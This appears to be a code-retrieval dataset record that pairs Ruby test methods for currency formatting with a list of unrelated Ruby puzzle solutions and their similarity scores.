"def sequence(hidden, open)\n weight = { 1 => \"A\", 2 => \"2\", 3 => \"3\", 4 => \"4\", 5 => \"5\", 6 => \"6\", 7 => \"7\", 8 => \"8\", 9 => \"9\", \n 10 => \"T\", 11 => \"J\", 12 => \"Q\", 13 => \"K\" }\n i = 0\n result = []\n inputs = 1\n differ = 0\n if weight.key(hidden[i]) > weight.key(hidden[i+2])\n small = weight.key(hidden[i+2])\n big = weight.key(hidden[i])\n differ = big - small\n elsif weight.key(hidden[i]) < weight.key(hidden[i+2])\n small = weight.key(hidden[i])\n big = weight.key(hidden[i+2])\n differ = big - small\n else\n return false\n end\n return false if differ > 4\n if differ > 1\n start = small + 1\n end1 = big - 1\n start.upto(end1) do |j|\n open.each_index do |k|\n if open[k] == weight[j]\n unless result.include? weight[j]\n result << open[k]\n result << open[k+1]\n inputs += 1\n end \n end \n end \n end\n end\n return false unless differ == inputs \n if result.size < 6\n steps = (6-result.size)/2\n start = big + 1\n end1 = big + steps\n start.upto(end1) do |j|\n open.each_index do |k|\n if open[k] == weight[j]\n unless result.include? weight[j]\n result << open[k]\n result << open[k+1]\n end \n end \n end \n end\n if result.size < 6\n steps = (6-result.size)/2\n return false if small - steps < 1 \n start = small - steps\n end1 = small - 1\n start.upto(end1) do |j|\n open.each_index do |k|\n if open[k] == weight[j]\n unless result.include? weight[j]\n result << open[k]\n result << open[k+1]\n end \n end \n end \n end\n return false if result.size < 6\n end\n end \n result \n end",
"def solve_cipher(string, n)\n\n#Split each element of the string to get and array and return an array where each element is x (to operate with each element)\n string.split('').map do |x|\n#Create a new variable that will be the new index for each element.\n new_index = x.ord + n\n \n#Define the new index value with if conditional statements.\n\n#The value for whitespace is its value -26 as it is not included in the alphanumerical rules defined above\nif x == ' '\n new_index = ' '.ord - 26\nend\n\n\n#Declare the values of the index where it is above z's\nif new_index > 'z'.ord\n new_index = 'a'.ord + new_index - 'z'.ord - 1\nend\n\n#Declare the values of the index where it is beyond a's\nif new_index < 'a'.ord\n new_index = 'z'.ord - ('a'.ord - new_index) + 1\nend\n \n #Make the function return the list of numbers converted into letters \n new_index.chr\n\nend.join\n\nend",
"def num_decodings(s)\n\n decode = ('A'..'Z').to_a\n number_of_prev_ended_singly = 1\n\n ways_count = 1\n number_of_prev_ended_singly = 1\n\n s.chars[1..-1].each_with_index do |ch, idx|\n if s[idx - 1].to_i == 1 ||\n s[idx - 1] == 2.to_i && ch.to_i.between?(1,6)\n\n numbers_added_this_time = ways_count - number_of_prev_ended_singly\n ways_count += numbers_added_this_time\n number_of_prev_ended_singly = numbers_added_this_time\n else\n number_of_prev_ended_singly = 0\n end\n end\n\n ways_count\n\nend",
"def answer\n composition = 1\n array = ['2,3,4,5']\n puts array\n array.split(',')\n #@inputArray = array\n #array.map!{|x| x.to_i}\n puts array\n #lastEvenIndex = last_even(array)\n #array.each_index {|x| composition*=array[x] if (array[x]%7).zero?}\n #array[lastEvenIndex] = composition\n #@modifiedArray = array\nend",
"def solution(a)\n accessed = Array.new(a.size + 1, nil)\n caterpillar_back = 0\n count = 0\n\n a.each_with_index do |x, caterpillar_front|\n if accessed[x] == nil\n accessed[x] = caterpillar_front\n else\n new_caterpillar_back = accessed[x] + 1\n first_part_size = caterpillar_front - caterpillar_back\n second_part_size = caterpillar_front - new_caterpillar_back\n count += first_part_size * (first_part_size + 1) / 2\n count -= (second_part_size) * (second_part_size + 1) / 2\n caterpillar_back.upto(new_caterpillar_back - 1) { |n| accessed[a[n]] = nil}\n accessed[x] = caterpillar_front\n caterpillar_back = new_caterpillar_back\n end\n end\n\n remaining_size = a.size - caterpillar_back\n count += (remaining_size) * (remaining_size + 1) / 2\n end",
"def solution(n)\n n.to_s(2).reverse.to_i.to_s.split('1').map(&:length).max || 0\nend",
"def solution(n)\n x = (n**0.5).floor\n (1..x).reduce(0) { |s, i| n % i == 0 ? s += (i * i == n ? 1 : 2) : s }\nend",
"def part_two(input)\n found = false\n cleaned = input.each_with_index.map { |v, i| [v, i] unless v == 'x' }.compact\n iter = cleaned.map(&:first).max\n index = cleaned.map(&:first).find_index(iter)\n t = iter\n until found\n t += iter\n puts \"#{t}\"\n found = true\n v = t - index\n cleaned.each do |bus, i|\n if (v + i) % bus != 0\n found = false\n break\n end\n end\n end\n t\nend",
"def hard(input)\n to = input / 10\n houses = Array.new(to, 0)\n (1..to).each do |n|\n count = 0\n n.step(by: n, to: to - 1) do |i|\n houses[i] += 11 * n\n count += 1\n break if count == 50\n end\n end\n houses.index { |count| count >= input }\nend",
"def solution(m, a)\n n = a.count\n result = 0\n front = 0\n numbers = Array.new(m + 1, false)\n n.times { |back|\n while front < n and not numbers[a[front] - 1]\n numbers[a[front] - 1] = true\n front += 1\n result += front - back\n return 1_000_000_000 if result >= 1_000_000_000\n end\n numbers[a[back] - 1] = false\n }\n result\nend",
"def solution(a)\n s= a.sort\n 0.step(s.size - 1).inject(0) do |result, x|\n z= x+2\n (x+1).step(s.size - 1).inject(result) do |acc, y|\n z+=1 while z < s.size && s[x] + s[y] > s[z]\n acc += z-y-1\n end\n end\nend",
"def Lexicographic(myString)\n\n origArray = myString.split(//)\n newArr = origArray.permutation.to_a\n counter = 1\n newArr.each do |x|\n if counter == 1000000\n print counter, \"--> \", x.join, \"\\n\"\n break\n else\n counter = counter + 1\n end\n end\nend",
"def problem_108(size = 1001)\n func = lambda do |a|\n if a.length == 1\n a[0]+1\n else\n m = a[0]\n (2*m+1) * func.call(a[1,a.length]) -m\n end\n end\n\n primes = Primes.upto(200)\n prime_number = lambda do |a|\n r = 1\n a.sort.reverse.each_with_index { |m,i| r *= primes[i] ** m }\n r\n end\n\n values = {}\n last = 0\n 1.upto(100).each do |nn|\n nn.groupings do |a|\n sols = func.call a\n ans = prime_number.call a\n# puts \"np=#{nn} sols=#{sols} ans=#{ans} => #{a.inspect}\"\n if values[sols]\n values[sols] = [values[sols],[ans,a]].min\n else\n values[sols] = [ans,a]\n end\n true\n end\n size.upto(size*5/4) do |num|\n if values[num]\n puts \"for np = #{nn} => #{num} => #{values[num].inspect}\"\n if last == values[num]\n puts \"factors = #{values[num][0].factors}\"\n return values[num][0] \n end\n last = values[num]\n break\n end\n end\n #values.sort.each do |k,v|\n # puts \"#{k} => #{v}\"\n #end\n end\n nil\nend",
"def theLoveLetterMystery(s)\n chars = s.chars\n size = chars.length\n sum = 0\n ((size+1)/2..(size -1)).each do |i|\n num = chars[i].ord\n target_num = chars[size-1-i].ord\n sum += (num - target_num).abs\n end\n sum\nend",
"def solution(n)\n\t(1..n).map(&:to_s).map(&:chars).join.chars.map(&:to_i).reduce(:+)\nend",
"def solution(a)\n # write your code in Ruby 2.2\n numbers = Array(1..(a.size + 1))\n res = numbers - a\n res[0]\nend",
"def solution(a)\n # write your code in Ruby 2.2\n \n return 0 if a.empty?\n \n # decode\n bits = []\n a.each_with_index do |bit, i|\n bits << bit*((-2)**i)\n end\n \n changed_bits = bits.map { |el| -el }\n answer = []\n changed_bits.each_with_index do |changed_bit, i|\n answer\n end\n # number = bits.inject(:+)\n \n # change number\n # number = -number\n \n # encode\n \n end",
"def minimumBribes(q)\n bribe_count = 0\n # q.each_with_index do |person,i|\n i = q.size-1\n while i >= 0 do\n person = q[i]\n position = i+1\n offset = person - position\n\n if offset > 2\n puts \"Too chaotic\"\n return\n else\n j=[0,person-2].max\n while j < i do\n if q[j] > person\n bribe_count += 1\n else\n # break if j+1 == person\n end\n j+=1\n end\n end\n i-=1\n end\n puts bribe_count\nend",
"def decent_number(n)\n\tleft = 0\n\tright = 0\n\t(n+1).times do |i|\n\t\tleft = n - i \n\t\tright = n - left\n\t#\tputs \"#{left}%3 = #{left%3} | #{right}%5 = #{right%5}\"\n\t\tbreak if left % 3 == 0 && right % 5 == 0\n\tend\n\t#puts \"**l = #{left} r = #{right}\"\n\n\tif left % 3 == 0 && right % 5 == 0\n\t\tfives = \"5\"*left\n\t\tthrees = \"3\"*right\n\t\tputs fives+threes\n\telse\n\t\tputs -1\n\tend\nend",
"def find_missing_letter(arr)\n #your code here\n result = 0\n base_arr = arr.join().codepoints\n base_arr.each_with_index do |item,index|\n if base_arr[index+1] != item + 1\n result = item + 1\n break\n end\n end\n result.chr\nend",
"def permuted_nums()\r\n\t# *2...*6 must have the same digits (and length) as the original.\r\n\t# That's why the first character must be 1.\r\n\t# And the second character must be less that 7.\r\n\trunner = 123455\r\n\tmax = 170000\r\n\twhile runner < max\r\n\t\trunner += 1\r\n\t\t\r\n\t\tmult_count = 1\r\n\t\t(2..6).each{ |mult_num| \r\n\t\t\ttmp = runner * mult_num\r\n\t\t\t\r\n\t\t\tif !is_permutation_of(tmp, runner)\r\n\t\t\t\tbreak\r\n\t\t\tend\r\n\t\t\tif mult_num == 6\r\n\t\t\t\treturn runner\r\n\t\t\tend\r\n\t\t\tmult_count += 1\r\n\t\t}\r\n\tend\r\n\tputs ''\r\n\treturn false\r\nend",
"def solve\n 1.upto(100).inject(:*).to_s.split('').map{|x| x.to_i}.inject(:+)\nend",
"def f_1_4tel_rek(n)\r\n if !n.integer? || n < 1\r\n return false\r\n end\r\n\r\n def end_rek(i, s)\r\n if i > 0\r\n end_rek(i - 1, (1.0 / (i * (i + 1.0) * (i + 2.0))) + s)\r\n else\r\n return s\r\n end\r\n end\r\n return end_rek(n, 0)\r\nend",
"def fds(n)\n\n # arr = []\n # (n + 1).times.each{|e| arr << e if e > 0}\n # arr.flat_map.reduce(:*)\n # arr.flat_map.reduce(:*).to_s.split(//).map(&:to_i).reduce(:+)\n (1..n).to_a.flat_map.reduce(:*).to_s.split(//).map(&:to_i).reduce(:+)\n\nend",
"def getMoneySpent(keyboards, drives, budget)\n #\n # Write your code here.\n #\n highest_combination = -1\n keyboards.each do |keyboard|\n drives.each do |drive|\n sum = keyboard + drive\n highest_combination = sum if sum <= budget && sum > highest_combination\n end\n end\n highest_combination;\nend",
"def featured(n)\n n += 1\n n += 1 until n % 7 == 0 && n.odd?\n loop do\n break if n.to_s.chars.uniq.join == n.to_s\n n += 14\n if n > 9876543210\n puts \"There is no possible number that fulfills those requirements\"\n return nil\n end\n end\n n\nend",
"def solution(n)\n # write your code in Ruby 2.2\n a = Math.sqrt(n).floor\n a -= 1 while n % a != 0\n b = n / a\n (a + b) * 2\nend",
"def calculate_points(cards_in_hands)\n points = 0\n cards_without_ace = cards_in_hands.select {|card| card[1] != 'A'}\n cards_with_ace = cards_in_hands.select {|card| card[1] == 'A'}\n cards_without_ace.each do |card|\n if card[0].to_i !=0\n points += card[0].to_i\n else\n points += 10\n end\n end\n if cards_with_ace.empty?\n return points\n else\n ace_sets = [11, 1].repeated_permutation(cards_with_ace.length).to_a\n ace_sets_sum_arr = []\n ace_sets.each do |arr|\n arr_sum = 0\n arr.each {|v| arr_sum = arr_sum + v}\n ace_sets_sum_arr.push(arr_sum)\n end\n ace_sets_sum_arr.sort!.uniq!\n ace_sets_sum_arr.map! {|num| num + points}\n if ace_sets_sum_arr.include?(21)\n points = 21\n return points\n else\n lt_21_arr = ace_sets_sum_arr.select {|v| v < 21}\n gt_21_arr= ace_sets_sum_arr.select {|v| v > 21}\n if lt_21_arr.empty?\n points = gt_21_arr.first\n return points\n else\n points = lt_21_arr.last\n return points\n end\n end\n end\nend",
"def solution(roman)\n split = roman.split(\"\")\n last_value = 0\n split.reduce(0) do |final, char|\n current = CONVERSION[char.upcase]\n binding.pry\n if current >= last_value\n final += current\n else\n final -= current\n end\n binding.pry\n last_value = current\n final\n end\nend",
"def solution(a, b, k)\n # write your code in Ruby 2.2\n e = b / k\n s = (a-1) / k\n\n e - s\nend",
"def solution(arr)\n zeros = 0\n pass_cars = 0\n\n (0...arr.size).each do |idx|\n arr[idx] == 0 ? zeros += 1 : pass_cars += zeros\n\n return -1 if pass_cars > 1000000000\n end\n\n pass_cars\nend",
"def solution(s)\n if s.length.odd?\n center = s.length / 2\n if s[0...center] == s[center + 1..s.length].reverse\n return center \n end\n end\n -1\nend",
"def solution(x, y, d)\r\n # write your code in Ruby 2.2\r\n i=1\r\n loop do\r\n s=x+i*d\r\n \r\n break if(s>=y)\r\n \r\n i+=1\r\n end \r\n i\r\nend",
"def getWays(n, c)\n # Write your code here\n w = n\n m = c.length\n dp = Array.new(m+1){Array.new(w+1)}\n 0.upto(m) do |i|\n dp[i][0] = 1\n end\n 0.upto(w) do |j|\n dp[0][j] = 0\n end\n 1.upto(m) do |i|\n 1.upto(w) do |j|\n x = j-c[i-1] >= 0 ? dp[i][j-c[i-1]] : 0\n y = j >= 1 ? dp[i-1][j] : 0\n dp[i][j] = x+y\n end\n end\n p dp\n dp[m][w]\nend",
"def isLucky(n)\n new_array = n.to_s.split(\"\")\n new_length = new_array.length\n\n a, b = [], []\n\n (0...new_length / 2).each { |x| a.push(new_array[x].to_i) }\n (new_length / 2...new_length).each { |y| b.push(new_array[y].to_i) }\n\n if a.inject(:+) == b.inject(:+)\n return true\n else\n false\n end\n\nend",
"def solution(a)\n n = a.size\n return 0 unless n > 2\n a.sort!\n\n (2..n - 1).each do |i|\n return 1 if a[i - 2] + a[i - 1] > a[i]\n end\n\n return 0\nend",
"def solve(n, s, d, m)\n # Complete this function\n records = s;\n\n (1...n).each do |i|\n records[i] += records[i-1]\n end\n\n numberOfWays = (m <= n && records[m - 1] == d) ? 1 : 0;\n\n (m...n).each do |i|\n if records[i] - records[i - m] == d\n numberOfWays += 1\n end\n end\n\n numberOfWays\n\nend",
"def problem_104\n all = [\"1\",\"2\",\"3\",\"4\",\"5\",\"6\",\"7\",\"8\",\"9\"]\n k = 2\n low_fn0,low_fn1 = 1,1\n hi_fn0,hi_fn1 = 1,1\n loop do\n k += 1\n low_fn0,low_fn1 =(low_fn0 + low_fn1) % 10_000_000_000, low_fn0\n hi_fn0, hi_fn1 = hi_fn0 + hi_fn1, hi_fn0\n if hi_fn0 > 1_000_000_000_000_000_000\n hi_fn0 /= 10\n hi_fn1 /= 10\n end\n front = false\n next unless k > 300\n hi = hi_fn0.to_s[0,9].split(//)\n if (hi & all).length == 9\n puts \"front #{k}\" \n front = true\n end\n if (low = low_fn0.to_s).length >= 9\n low = low[-9,9].split(//)\n if (low & all).length == 9\n puts \"back #{k}\" \n return k if front\n end\n end\n end\nend",
"def solution(a)\n ans = 0\n for i in 1 .. (a.length - 1)\n ans += a[i]\n end \n ans\nend",
"def problem3 n\n 2.step(n,1).each do |x|\n return x-1 if n == 1\n n /= x if x.prime? && (n % x == 0)\n end\nend",
"def problem_106a\n combin = lambda { |m,h| m.factorial / (h.factorial * (m - h).factorial) }\n max = 20\n\n sum = Array.new(max+1,-1)\n 1.upto(max) do |n|\n 0.upto(n/2) do |k|\n sum[n] += combin.call(n,2*k) * combin.call(2*k - 1, k + 1)\n end\n puts \"#{n} #{sum[n]}\"\n end\n sum[12]\nend",
"def solution(a)\n return 1 if a.count == 0\n \n real_sum = a.inject(:+)\n expected_sum = (a.count + 1) * (a.count + 2) / 2.0\n (expected_sum - real_sum).to_i\nend",
"def fitness( candidate, target )\n total = 0\n\n i = 0\n candidate.each_byte do |char_num|\n abs_distance = ( target[i].ord - char_num ).abs\n total += abs_distance\n i += 1\n end\n\n total\nend",
"def get_hint(secret, guess)\r\n hash1 = Hash.new(0)\r\n hash2 = Hash.new(0)\r\n bulls = 0\r\n cows = 0\r\n \r\n secret.each_char.with_index do |char, idx| \r\n hash1[char] += 1\r\n bulls += 1 if secret[idx] == guess[idx]\r\n end\r\n \r\n guess.each_char {|char| hash2[char] += 1}\r\n hash1.keys.each {|key| cows += [hash1[key], hash2[key]].min}\r\n \r\n bulls.to_s + \"A\" + (cows-bulls).to_s + \"B\"\r\nend",
"def solveProblem lst\n big = -1\n numbers = {}\n half = lst.length / 2\n lst.each do |i|\n if numbers.has_key?(i) then\n numbers[i] += 1\n else\n numbers[i] = 1\n end\n if numbers[i] > half then return i end\n end\n return big\nend"
] |
[
"0.66699874",
"0.65802413",
"0.6146916",
"0.6141384",
"0.60677093",
"0.6048339",
"0.6008928",
"0.5924959",
"0.5917534",
"0.5897405",
"0.5886607",
"0.5859519",
"0.58535683",
"0.5827131",
"0.58258575",
"0.5825749",
"0.5824339",
"0.57750577",
"0.5770655",
"0.57650816",
"0.57644504",
"0.5756314",
"0.575022",
"0.57496375",
"0.57470274",
"0.5743612",
"0.5742384",
"0.5740446",
"0.57367414",
"0.572814",
"0.5728043",
"0.57173675",
"0.5716543",
"0.57140756",
"0.5713392",
"0.57120454",
"0.57074964",
"0.5690019",
"0.5681083",
"0.5675705",
"0.56690323",
"0.56642604",
"0.56606627",
"0.56591403",
"0.5650784",
"0.56488305",
"0.5638815",
"0.56376064",
"0.56353694",
"0.563524",
"0.5624433",
"0.56211793",
"0.5620188",
"0.5619364",
"0.56168956",
"0.56152064",
"0.5614365",
"0.56128734",
"0.56110394",
"0.5605356",
"0.5604342",
"0.56013995",
"0.559788",
"0.55974066",
"0.5596251",
"0.55944276",
"0.55932945",
"0.559317",
"0.5587659",
"0.55830365",
"0.55825305",
"0.5582013",
"0.5579497",
"0.5576857",
"0.55768126",
"0.5574398",
"0.5569554",
"0.5558889",
"0.5555259",
"0.5552386",
"0.5541575",
"0.554053",
"0.55378735",
"0.55348",
"0.5534727",
"0.5531337",
"0.5530136",
"0.5529969",
"0.55295354",
"0.5526734",
"0.5522456",
"0.5520745",
"0.5519929",
"0.55178505",
"0.5504629",
"0.54992336",
"0.5494212",
"0.5491395",
"0.54836905",
"0.54809606",
"0.5477619"
] |
0.0
|
-1
|
end of setup =========================================================================== Method: teardown Description: Before every testcase Test::Unit runs setup ===========================================================================
|
def teardown
puts2("\nTestcase finished in " + calc_elapsed_time(@@tTestCase_StartTime) + " seconds.")
# Restore the Global variable's original settings
$VERBOSE = @@VERBOSE_ORIG
$DEBUG = @@DEBUG_ORIG
$FAST_SPEED = @@FAST_SPEED_ORIG
$HIDE_IE = @@HIDE_IE_ORIG
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def teardown; end",
"def teardown; end",
"def teardown\r\n end",
"def teardown\n end",
"def teardown\n end",
"def teardown\n end",
"def teardown\n end",
"def teardown\n end",
"def teardown\n end",
"def teardown\n end",
"def teardown\n end",
"def teardown\n end",
"def teardown\n end",
"def before_teardown; end",
"def teardown\n end",
"def teardown\n end",
"def teardown\n end",
"def teardown\n end",
"def teardown\n end",
"def teardown\n end",
"def teardown\n end",
"def teardown\n end",
"def teardown\n end",
"def teardown\n end",
"def teardown\n end",
"def teardown\n end",
"def teardown\n end",
"def teardown\n end",
"def teardown\n\t\tputs \"Completed unit test execution\"\n\tend",
"def teardown\n @suite.p \"\\n:: [TEARDOWN]\\n\"\n end",
"def teardown\n\n end",
"def teardown\n\n end",
"def teardown\n\n end",
"def teardown\n\n end",
"def teardown\n\n end",
"def teardown\n\n end",
"def teardown\n\n end",
"def teardown\n\n end",
"def teardown\n\n end",
"def teardown\n\n end",
"def teardown\n\n end",
"def teardown\n\n end",
"def teardown\n\n end",
"def teardown\n\n end",
"def teardown\n\n end",
"def teardown\n\n end",
"def teardown\n\n end",
"def teardown\n\tend",
"def teardown\n\tend",
"def teardown!\n\n end",
"def recycle; teardown; setup; end",
"def teardown\n # empty\n end",
"def teardown\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def teardown\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def teardown\n # if necessary\n end",
"def teardown\n # Empty\n end",
"def teardown\n # Empty\n end",
"def teardown\n puts \"tear down\"\n end",
"def teardown\n # No-op\n end",
"def teardown\n reset_test_env\n end",
"def teardown\n reset_test_env\n end",
"def teardown\n\t\t\t\t# Do nothing\n\t\tend",
"def teardown\n # Do nothing\n end",
"def teardown\n # Do nothing\n end",
"def teardown\n\t\t# Do nothing\n\tend",
"def teardown\n\t\t# Do nothing\n\tend",
"def teardown\n\t\t# Do nothing\n\tend",
"def teardown\r\n # Do nothing\r\n end",
"def teardown\r\n # Do nothing\r\n end",
"def teardown\r\n # Do nothing\r\n end",
"def teardown\r\n # Do nothing\r\n end",
"def teardown\r\n # Do nothing\r\n end",
"def teardown\r\n # Do nothing\r\n end",
"def teardown\r\n # Do nothing\r\n end",
"def teardown\r\n # Do nothing\r\n end",
"def teardown\r\n # Do nothing\r\n end",
"def teardown\r\n # Do nothing\r\n end",
"def setup\n\n # Save the Global variable's original settings so that they can be changed in this\n # test without affecting other test, so long as they are restored by teardown\n @@VERBOSE_ORIG = $VERBOSE\n @@DEBUG_ORIG = $DEBUG\n @@FAST_SPEED_ORIG = $FAST_SPEED\n @@HIDE_IE_ORIG = $HIDE_IE\n\n @@tTestCase_StartTime = Time.now\n\n end",
"def teardown\n # Do nothing\n end",
"def teardown\n raise \"Unimplemented method #teardown\"\n end",
"def teardown\n # Do nothing\n end",
"def teardown\n # Do nothing\n end",
"def teardown\n # Do nothing\n end",
"def teardown\n # Do nothing\n end",
"def teardown\n # Do nothing\n end",
"def teardown\n # Do nothing\n end",
"def teardown\n # Do nothing\n end",
"def teardown\n # Do nothing\n end",
"def teardown\n # Do nothing\n end",
"def teardown\n # Do nothing\n end",
"def teardown\n # Do nothing\n end",
"def teardown\n # Do nothing\n end",
"def teardown\n # Do nothing\n end",
"def teardown\n # Do nothing\n end",
"def teardown\n # Do nothing\n end",
"def teardown\n # Do nothing\n end",
"def teardown\n # Do nothing\n end",
"def teardown\n # Do nothing\n end",
"def teardown\n # Do nothing\n end",
"def teardown\n # Do nothing\n end",
"def teardown\n # Do nothing\n end"
] |
[
"0.8156411",
"0.8156411",
"0.81105447",
"0.8108799",
"0.8108799",
"0.80933803",
"0.80933803",
"0.80933803",
"0.80933803",
"0.80933803",
"0.80933803",
"0.80933803",
"0.80933803",
"0.803258",
"0.8011994",
"0.8011994",
"0.8011994",
"0.8011994",
"0.8011994",
"0.8011994",
"0.8011994",
"0.8011994",
"0.8011994",
"0.8011994",
"0.8011994",
"0.8011994",
"0.8011994",
"0.799714",
"0.797673",
"0.7906584",
"0.79062045",
"0.79062045",
"0.79062045",
"0.79062045",
"0.79062045",
"0.79062045",
"0.79062045",
"0.79062045",
"0.79062045",
"0.79062045",
"0.79062045",
"0.79062045",
"0.79062045",
"0.79062045",
"0.79062045",
"0.79062045",
"0.79062045",
"0.78998226",
"0.78998226",
"0.7889955",
"0.7872581",
"0.7853143",
"0.7848632",
"0.7848632",
"0.7845168",
"0.7835203",
"0.7835203",
"0.7818666",
"0.7760994",
"0.7756692",
"0.7756692",
"0.7754886",
"0.77322245",
"0.77322245",
"0.7704192",
"0.7704192",
"0.7704192",
"0.7694485",
"0.7694485",
"0.7694485",
"0.7694485",
"0.7694485",
"0.7694485",
"0.7694485",
"0.7694485",
"0.7694485",
"0.7694485",
"0.7693651",
"0.7647588",
"0.75959617",
"0.75243604",
"0.75243604",
"0.75243604",
"0.75243604",
"0.75243604",
"0.75243604",
"0.75243604",
"0.75243604",
"0.75243604",
"0.75243604",
"0.75243604",
"0.75243604",
"0.75243604",
"0.75243604",
"0.75243604",
"0.75243604",
"0.75243604",
"0.75243604",
"0.75243604",
"0.75243604",
"0.75243604"
] |
0.0
|
-1
|
end of teardown =========================================================================== Testcase method: test_Currency_001_Format_To_Amount Description: Tests PyWorks method: format_to_currency(...) Attempts to convert strings to amounts ===========================================================================
|
def te_st_Currency_001_CommaDelimit
puts2("")
puts2("#######################")
puts2("Testcase: test_Currency_001_CommaDelimit")
puts2("#######################")
fFloatsToDelimit = [1.00, 12.00, 123.00, 1234.00, 12345.00, 123456.00, 1234567.00,12345678.1234, 0.000000]
for fFloat in fFloatsToDelimit
sFloat = fFloat.comma_delimit(",")
puts2("Delimited: " + fFloat.to_s + " to: " + sFloat.to_s)
end
#end convert_StringToCurrency
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def test_Currency_003_Format_From_Amount\n\n\n puts2(\"\")\n puts2(\"#######################\")\n puts2(\"Testcase: test_Currency_003_Format_From_Amount\")\n puts2(\"#######################\")\n\n begin # convert_StringFromCurrency\n\n\n ############################\n sThisTaskName = \"$1,000 to 1000\"\n puts2(\"\")\n puts2(\" # BEGIN: \" + sThisTaskName + \" #\")\n\n sConvertedValue = \"$1,000\".format_from_currency(\"$\", \",\", true)\n\n puts2(\"Formatted value = #{sConvertedValue.to_s}\")\n ############################\n sThisTaskName = \"$1,000,000.00 to 1000000.00\"\n puts2(\"\")\n puts2(\" # BEGIN: \" + sThisTaskName + \" #\")\n\n sConvertedValue = \"$1,000,000.00\".format_from_currency(\"$\", \",\", false)\n\n puts2(\"Formatted value = #{sConvertedValue.to_s}\")\n ############################\n sThisTaskName = \"�1.000.50 to 1000\"\n puts2(\"\")\n puts2(\" # BEGIN: \" + sThisTaskName + \" #\")\n\n sConvertedValue = \"�1.000.50\".format_from_currency(\"�\", \".\", true)\n\n puts2(\"Formatted value = #{sConvertedValue.to_s}\")\n ############################\n sThisTaskName = \"$1.000.5 to 1000.50\"\n puts2(\"\")\n puts2(\" # BEGIN: \" + sThisTaskName + \" #\")\n\n sConvertedValue = \"$1.000.5\".format_from_currency(\"$\", \",\", false)\n\n puts2(\"Formatted value = #{sConvertedValue.to_s}\")\n ############################\n sThisTaskName = \"$1,000,000.50 to $1000000\"\n puts2(\"\")\n puts2(\" # BEGIN: \" + sThisTaskName + \" #\")\n\n sConvertedValue = \"$1,000,000.50\".format_from_currency( \"\", \",\",true)\n\n puts2(\"Formatted value = #{sConvertedValue.to_s}\")\n ############################\n sThisTaskName = \"�1,000,000.5 to 1000000.50\"\n puts2(\"\")\n puts2(\" # BEGIN: \" + sThisTaskName + \" #\")\n\n sConvertedValue = \"�1,000,000.5\".format_from_currency(\"�\", \",\", false)\n\n puts2(\"Formatted value = #{sConvertedValue.to_s}\")\n ############################\n sThisTaskName = \"0.5 to 0.50\"\n puts2(\"\")\n puts2(\" # BEGIN: \" + sThisTaskName + \" #\")\n\n sConvertedValue = \"0.5\".format_from_currency(\"\", \",\", false)\n\n puts2(\"Formatted value = #{sConvertedValue.to_s}\")\n ############################\n sThisTaskName = \".5 to 0.50\"\n puts2(\"\")\n puts2(\" # BEGIN: \" + sThisTaskName + \" #\")\n\n sConvertedValue = \".5\".format_from_currency(\"\", \",\", false)\n\n puts2(\"Formatted value = #{sConvertedValue.to_s}\")\n ############################\n sThisTaskName = \"$1. to 1.00\"\n puts2(\"\")\n puts2(\" # BEGIN: \" + sThisTaskName + \" #\")\n\n sConvertedValue = \"$1.\".format_from_currency(\"$\", \",\", false)\n\n puts2(\"Formatted value = #{sConvertedValue.to_s}\")\n ############################\n sThisTaskName = \"$. to 0.00\"\n puts2(\"\")\n puts2(\" # BEGIN: \" + sThisTaskName + \" #\")\n\n sConvertedValue = \"$.\".format_from_currency(\"$\", \",\", false)\n\n puts2(\"Formatted value = #{sConvertedValue.to_s}\")\n ############################\n\n\n rescue => e\n\n puts2(\"Error and Backtrace: \" + e.message + \"\\n\" + e.backtrace.join(\"\\n\"),\"error\")\n\n # Raise the error\n raise(\"*** TESTCASE - test_Currency_003_Format_From_Amount\")\n\n ensure\n\n end # convert_StringFromCurrency\n\n end",
"def test_Currency_002_Format_To_Amount\n\n puts2(\"\")\n puts2(\"#######################\")\n puts2(\"Testcase: test_Currency_002_Format_To_Amount\")\n puts2(\"#######################\")\n\n begin # convert_ToCurrency\n\n ############################\n sThisTaskName = \"1000 to $1,000.00\"\n puts2(\" # BEGIN: \" + sThisTaskName + \" #\")\n\n sConvertedValue = \"1000\".format_to_currency()\n\n puts2(\"Formatted value = #{sConvertedValue.to_s}\")\n ############################\n sThisTaskName = \"1000 to �1.000.00\"\n puts2(\"\")\n puts2(\" # BEGIN: \" + sThisTaskName + \" #\")\n\n sConvertedValue = \"1000\".format_to_currency(\"�\", \".\")\n\n puts2(\"Formatted value = #{sConvertedValue.to_s}\")\n ############################\n sThisTaskName = \" 1000 to �1.000.00\"\n puts2(\"\")\n puts2(\" # BEGIN: \" + sThisTaskName + \" #\")\n\n sConvertedValue = \" 1000 \".format_to_currency(\"�\", \".\")\n\n puts2(\"Formatted value = #{sConvertedValue.to_s}\")\n ############################\n sThisTaskName = \"1000.5 to $1,000.50\"\n puts2(\"\")\n puts2(\" # BEGIN: \" + sThisTaskName + \" #\")\n\n sConvertedValue = \"1000.5\".format_to_currency()\n\n puts2(\"Formatted value = #{sConvertedValue.to_s}\")\n ############################\n sThisTaskName = \"1.1 to $1.10\"\n puts2(\"\")\n puts2(\" # BEGIN: \" + sThisTaskName + \" #\")\n\n sConvertedValue = \"1.1\".format_to_currency()\n\n puts2(\"Formatted value = #{sConvertedValue.to_s}\")\n ############################\n sThisTaskName = \"1 to $1.00\"\n puts2(\"\")\n puts2(\" # BEGIN: \" + sThisTaskName + \" #\")\n\n sConvertedValue = \"1\".format_to_currency()\n\n puts2(\"Formatted value = #{sConvertedValue.to_s}\")\n\n ############################\n sThisTaskName = \".01 to $0.01\"\n puts2(\"\")\n puts2(\" # BEGIN: \" + sThisTaskName + \" #\")\n\n sConvertedValue = \".01\".format_to_currency()\n\n puts2(\"Formatted value = #{sConvertedValue.to_s}\")\n ############################\n sThisTaskName = \".1 to $0.10\"\n puts2(\"\")\n puts2(\" # BEGIN: \" + sThisTaskName + \" #\")\n\n sConvertedValue = \".1\".format_to_currency()\n\n puts2(\"Formatted value = #{sConvertedValue.to_s}\")\n ############################\n sThisTaskName = \"1. to $1.00\"\n puts2(\"\")\n puts2(\" # BEGIN: \" + sThisTaskName + \" #\")\n\n sConvertedValue = \"1.\".format_to_currency()\n\n puts2(\"Formatted value = #{sConvertedValue.to_s}\")\n ############################\n 